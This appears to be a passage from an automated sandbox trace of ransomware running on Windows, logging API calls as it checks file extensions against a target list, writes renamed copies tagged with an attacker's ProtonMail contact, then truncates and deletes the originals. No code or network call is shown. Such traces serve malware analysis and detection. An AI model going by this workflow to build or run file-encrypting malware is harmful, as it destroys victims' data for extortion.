	[0083.339] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString=".bz2") returned 4
	[0083.339] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString=".7z") returned 3
	[0083.339] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.339] lstrlenW (lpString=".dbf") returned 4
	[0083.339] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.339] lstrlenW (lpString=".1cd") returned 4
	[0083.339] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.339] lstrlenW (lpString=".jpg") returned 4
	[0083.339] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.339] lstrlenW (lpString=".doc") returned 4
	[0083.339] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString=".docx") returned 5
	[0083.339] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.339] lstrlenW (lpString=".pdf") returned 4
	[0083.339] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString=".xls") returned 4
	[0083.339] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.339] lstrlenW (lpString=".xlsx") returned 5
	[0083.340] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.340] lstrlenW (lpString=".ppt") returned 4
	[0083.340] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.340] lstrlenW (lpString=".zip") returned 4
	[0083.340] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.340] lstrlenW (lpString=".rar") returned 4
	[0083.340] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.340] lstrlenW (lpString=".bz2") returned 4
	[0083.340] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.340] lstrlenW (lpString=".7z") returned 3
	[0083.340] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.340] lstrlenW (lpString=".dbf") returned 4
	[0083.340] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.340] lstrlenW (lpString=".1cd") returned 4
	[0083.340] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.340] lstrlenW (lpString=".jpg") returned 4
	[0083.340] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.340] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.340] lstrlenW (lpString="msadomd28.tlb") returned 13
	[0083.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.341] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=13824) returned 1
	[0083.341] CloseHandle (hObject=0x390) returned 1
	[0083.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20
	[0083.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.342] lstrlenW (lpString=".doc") returned 4
	[0083.342] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString=".docx") returned 5
	[0083.342] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0083.342] lstrlenW (lpString=".pdf") returned 4
	[0083.342] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString=".xls") returned 4
	[0083.342] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.342] lstrlenW (lpString=".xlsx") returned 5
	[0083.342] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0083.342] lstrlenW (lpString=".ppt") returned 4
	[0083.342] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.342] lstrlenW (lpString=".zip") returned 4
	[0083.342] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.342] lstrlenW (lpString=".rar") returned 4
	[0083.342] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString=".bz2") returned 4
	[0083.342] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString=".7z") returned 3
	[0083.342] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.342] lstrlenW (lpString=".dbf") returned 4
	[0083.342] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.342] lstrlenW (lpString=".1cd") returned 4
	[0083.342] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.342] lstrlenW (lpString=".jpg") returned 4
	[0083.342] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.342] lstrlenW (lpString=".doc") returned 4
	[0083.342] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.343] lstrlenW (lpString=".docx") returned 5
	[0083.343] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0083.343] lstrlenW (lpString=".pdf") returned 4
	[0083.343] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.343] lstrlenW (lpString=".xls") returned 4
	[0083.343] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.343] lstrlenW (lpString=".xlsx") returned 5
	[0083.343] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0083.343] lstrlenW (lpString=".ppt") returned 4
	[0083.343] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.343] lstrlenW (lpString=".zip") returned 4
	[0083.343] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.343] lstrlenW (lpString=".rar") returned 4
	[0083.343] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.343] lstrlenW (lpString=".bz2") returned 4
	[0083.343] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.343] lstrlenW (lpString=".7z") returned 3
	[0083.343] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.343] lstrlenW (lpString=".dbf") returned 4
	[0083.343] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.343] lstrlenW (lpString=".1cd") returned 4
	[0083.343] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0083.343] lstrlenW (lpString=".jpg") returned 4
	[0083.343] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.343] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.344] lstrlenW (lpString="msador28.tlb") returned 12
	[0083.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.344] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=35840) returned 1
	[0083.344] CloseHandle (hObject=0x390) returned 1
	[0083.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20
	[0083.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0083.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0083.345] lstrlenW (lpString=".doc") returned 4
	[0083.345] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.345] lstrlenW (lpString=".docx") returned 5
	[0083.345] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0083.345] lstrlenW (lpString=".pdf") returned 4
	[0083.345] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.345] lstrlenW (lpString=".xls") returned 4
	[0083.345] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.345] lstrlenW (lpString=".xlsx") returned 5
	[0083.345] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0083.345] lstrlenW (lpString=".ppt") returned 4
	[0083.345] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0083.345] lstrlenW (lpString=".zip") returned 4
	[0083.345] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.345] lstrlenW (lpString=".rar") returned 4
	[0083.345] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.345] lstrlenW (lpString=".bz2") returned 4
	[0083.345] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.346] lstrlenW (lpString=".7z") returned 3
	[0083.346] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned 53
	[0083.346] lstrlenW (lpString=".dbf") returned 4
	[0083.346] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.382] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.383] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0083.383] GetLastError () returned 0x0
	[0083.383] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.929] WriteFile (in: hFile=0x2c0, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.948] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x72450, lpOverlapped=0x0) returned 1
	[0084.582] WriteFile (in: hFile=0x2c0, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x72460, lpOverlapped=0x0) returned 1
	[0084.592] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.592] WriteFile (in: hFile=0x2c0, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0084.592] SetEndOfFile (hFile=0x2c0) returned 1
	[0084.592] CloseHandle (hObject=0x2c0) returned 1
	[0084.592] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.592] SetEndOfFile (hFile=0x380) returned 1
	[0084.597] CloseHandle (hObject=0x380) returned 1
	[0084.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.597] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1
	[0084.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.960] lstrlenW (lpString=".doc") returned 4
	[0084.960] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.960] lstrlenW (lpString=".docx") returned 5
	[0084.960] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0084.960] lstrlenW (lpString=".pdf") returned 4
	[0084.960] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.960] lstrlenW (lpString=".xls") returned 4
	[0084.960] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.960] lstrlenW (lpString=".xlsx") returned 5
	[0084.960] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0084.960] lstrlenW (lpString=".ppt") returned 4
	[0084.960] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.960] lstrlenW (lpString=".zip") returned 4
	[0084.960] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.962] lstrlenW (lpString=".rar") returned 4
	[0084.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.962] lstrlenW (lpString=".bz2") returned 4
	[0084.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.962] lstrlenW (lpString=".7z") returned 3
	[0084.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.962] lstrlenW (lpString=".dbf") returned 4
	[0084.962] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.962] lstrlenW (lpString=".1cd") returned 4
	[0084.962] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.962] lstrlenW (lpString=".jpg") returned 4
	[0084.962] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.962] lstrlenW (lpString=".doc") returned 4
	[0084.962] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.962] lstrlenW (lpString=".docx") returned 5
	[0084.962] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0084.962] lstrlenW (lpString=".pdf") returned 4
	[0084.962] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.962] lstrlenW (lpString=".xls") returned 4
	[0084.962] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.962] lstrlenW (lpString=".xlsx") returned 5
	[0084.962] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0084.962] lstrlenW (lpString=".ppt") returned 4
	[0084.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.962] lstrlenW (lpString=".zip") returned 4
	[0084.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.963] lstrlenW (lpString=".rar") returned 4
	[0084.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.963] lstrlenW (lpString=".bz2") returned 4
	[0084.963] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.963] lstrlenW (lpString=".7z") returned 3
	[0084.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.963] lstrlenW (lpString=".dbf") returned 4
	[0084.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.963] lstrlenW (lpString=".1cd") returned 4
	[0084.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0084.963] lstrlenW (lpString=".jpg") returned 4
	[0084.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.963] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0084.963] lstrlenW (lpString="glib-lite.dll") returned 13
	[0084.963] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.964] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=455744) returned 1
	[0084.964] CloseHandle (hObject=0x394) returned 1
	[0084.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20
	[0084.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.964] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.964] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.964] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.965] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.965] GetLastError () returned 0x0
	[0084.965] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x6f440, lpOverlapped=0x0) returned 1
	[0084.975] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x6f450, lpOverlapped=0x0) returned 1
	[0084.983] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.983] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xee, lpOverlapped=0x0) returned 1
	[0084.983] SetEndOfFile (hFile=0x38c) returned 1
	[0084.983] CloseHandle (hObject=0x38c) returned 1
	[0084.984] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.984] SetEndOfFile (hFile=0x394) returned 1
	[0084.988] CloseHandle (hObject=0x394) returned 1
	[0084.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.988] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.988] lstrlenW (lpString=".doc") returned 4
	[0084.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString=".docx") returned 5
	[0084.988] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0084.988] lstrlenW (lpString=".pdf") returned 4
	[0084.988] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString=".xls") returned 4
	[0084.988] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString=".xlsx") returned 5
	[0084.988] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0084.988] lstrlenW (lpString=".ppt") returned 4
	[0084.988] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.988] lstrlenW (lpString=".zip") returned 4
	[0084.989] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".rar") returned 4
	[0084.989] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".bz2") returned 4
	[0084.989] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.989] lstrlenW (lpString=".7z") returned 3
	[0084.989] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.989] lstrlenW (lpString=".dbf") returned 4
	[0084.989] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.989] lstrlenW (lpString=".1cd") returned 4
	[0084.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.989] lstrlenW (lpString=".jpg") returned 4
	[0084.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0084.989] lstrlenW (lpString=".doc") returned 4
	[0084.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".docx") returned 5
	[0084.989] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0084.989] lstrlenW (lpString=".pdf") returned 4
	[0084.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".xls") returned 4
	[0084.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.989] lstrlenW (lpString=".xlsx") returned 5
	[0084.989] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0084.989] lstrlenW (lpString=".ppt") returned 4
	[0084.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
